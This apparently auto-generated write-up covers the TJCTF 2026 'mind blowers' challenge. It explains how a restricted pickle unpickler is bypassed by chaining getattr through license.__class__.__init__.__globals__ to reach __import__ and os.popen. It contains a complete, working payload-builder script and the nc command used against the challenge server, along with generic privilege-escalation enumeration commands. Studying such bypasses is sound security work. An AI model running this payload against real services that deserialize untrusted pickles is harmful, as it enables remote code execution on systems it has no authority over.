← Back to Writeups
HTBN/AMisc

mind blowers

XESXOR8/23/20265 min read
#misc#htb#n/a

mind blowers

Platform: Tjctf 2026 | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-15 | Status: Solved Techniques: builtins_blocklist_evasion, dict_get_method_for_key_access_in_pickle, object_graph_traversal_license_class_init_globals, restricted_pickle_bypass_via_getattr

Summary

Task: Python pickle deserialization server with RestrictedUnpickler that whitelists builtins module and blocklists dangerous names (eval, exec, import, open). Solution: getattr is not blocked — chain through license.class.init.globals to recover import, import os, and execute commands via os.popen.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: TJCTF 2026 | ID: 20260515_tjctf_mind_blowers
  • Tags: rce, python, pickle, deserialization, blocklist_bypass, restricted_unpickler, getattr_chain, builtins_bypass, object_graph_traversal
  • Indicators: RestrictedUnpickler with builtins-only module whitelist, Blocklist of dangerous builtins (eval, exec, import, open) but getattr is allowed, pickle.Unpickler.find_class override with name-based filtering, builtins.license object available as object graph entry point, Server accepts base64-encoded pickle data
  • Source: 20260515_tjctf_mind_blowers.md

Foothold

Vulnerability / Misconfiguration

  1. Builtins_blocklist_evasion
  2. Dict_get_method_for_key_access_in_pickle
  3. Object_graph_traversal_license_class_init_globals
  4. Restricted_pickle_bypass_via_getattr
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • builtins_blocklist_evasion
  • dict_get_method_for_key_access_in_pickle
  • object_graph_traversal_license_class_init_globals
  • restricted_pickle_bypass_via_getattr
  • Tags: rce, python, pickle, deserialization, blocklist_bypass, restricted_unpickler, getattr_chain, builtins_bypass, object_graph_traversal

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Rick has open sourced his mind blowers program! Now you can upload your own mind blowers and view them! Don't upload any malicious mind blowers!

Connection: nc tjc.tf 31422 Source file: server.py

A Python server accepts base64-encoded pickle data and deserializes it using a RestrictedUnpickler. The goal is to bypass the restrictions and achieve remote code execution to read the flag.

Analysis

RestrictedUnpickler

The server implements a custom RestrictedUnpickler with two layers of defense:

  1. Module whitelist: Only builtins module is allowed — any other module in find_class raises an error
  2. Name blocklist: Specific dangerous builtins are blocked:
   BLOCKED_NAMES = {
       "eval", "exec", "compile", "__import__", "open",
       "breakpoint", "input", "exit", "quit",
   }
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module != "builtins":
            raise pickle.UnpicklingError("banned")
        if name in BLOCKED_NAMES:
            raise pickle.UnpicklingError("blocked")
        return super().find_class(module, name)

Critical Oversight: getattr is Not Blocked

The blocklist only covers 9 names. Crucially, getattr is not among them. This is the key vulnerability because:

  • The blocklist only applies to pickle's find_class method, which is invoked by GLOBAL/STACK_GLOBAL opcodes during deserialization
  • Once we have builtins.getattr as a callable, we can use pickle's REDUCE opcode to call it at runtime
  • Runtime getattr calls do not go through find_class — they are normal Python attribute lookups
  • This means we can access __import__ via getattr even though it's blocked in find_class

Object Graph Traversal Chain

Starting from builtins.license (a _sitebuiltins._Printer instance available in the builtins namespace), we can traverse the Python object graph to reach __import__:

builtins.license                          → _sitebuiltins._Printer instance
  .__class__                              → _sitebuiltins._Printer class
    .__init__                             → Python function (has __globals__)
      .__globals__                        → module globals dict
        .get("__builtins__")              → builtins dict (the real one)
          .get("__import__")              → __import__ function (unrestricted!)

The reason license works as an entry point is that it's a Python-level object (not a C builtin), so its __init__ method has __globals__ — unlike C-implemented builtins like print or len whose methods don't expose __globals__.

Solution

Pickle Payload Construction

The payload uses only two GLOBAL references that pass the filter: builtins.getattr and builtins.license. Everything else is achieved through REDUCE (function call) opcodes chaining getattr calls:

#!/usr/bin/env python3
import pickle
import io
import base64

def build_payload(cmd="cat /flag*"):
    p = b''
    # Step 1: cls = getattr(license, "__class__") → _sitebuiltins._Printer
    p += b'cbuiltins\ngetattr\n(cbuiltins\nlicense\nS"__class__"\ntR'

    # Step 2: init = getattr(cls, "__init__") → bound method with __globals__
    p += b'p0\ncbuiltins\ngetattr\n(g0\nS"__init__"\ntR'

    # Step 3: globs = getattr(init, "__globals__") → module globals dict
    p += b'p1\ncbuiltins\ngetattr\n(g1\nS"__globals__"\ntR'

    # Step 4: get = getattr(globs, "get"); builtins = get("__builtins__")
    p += b'p2\ncbuiltins\ngetattr\n(g2\nS"get"\ntR(S"__builtins__"\ntR'

    # Step 5: get = getattr(builtins, "get"); imp = get("__import__")
    p += b'p3\ncbuiltins\ngetattr\n(g3\nS"get"\ntR(S"__import__"\ntR'

    # Step 6: os = __import__("os")
    p += b'p4\n(S"os"\ntR'

    # Step 7: popen = getattr(os, "popen"); f = popen(cmd)
    p += b'p5\ncbuiltins\ngetattr\n(g5\nS"popen"\ntR(S"' + cmd.encode() + b'"\ntR'

    # Step 8: read = getattr(f, "read"); result = read()
    p += b'p6\ncbuiltins\ngetattr\n(g6\nS"read"\ntR(tR'

    # Stop
    p += b'.'
    return p

payload = build_payload()
encoded = base64.b64encode(payload).decode()
print(encoded)

# Verify locally
result = pickle.loads(payload)
print(f"Result: {result}")

Pickle Opcode Breakdown

OpcodeMeaningEffect
cGLOBALPush builtins.getattr or builtins.license
(MARKStart tuple for function arguments
S"..."STRINGPush a string literal
tTUPLEBuild tuple from mark to here
RREDUCECall function with args tuple
p0PUTStore result in memo slot 0
g0GETRetrieve from memo slot 0
.STOPEnd of pickle stream

Execution

$ python3 solve.py | nc tjc.tf 31422
=== Rick's Mind Blower Server v3 ===
Only safe memories allowed now!!!!
Upload a memory (base64 encoded) > Here is your memory: tjctf{REDACTED}
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR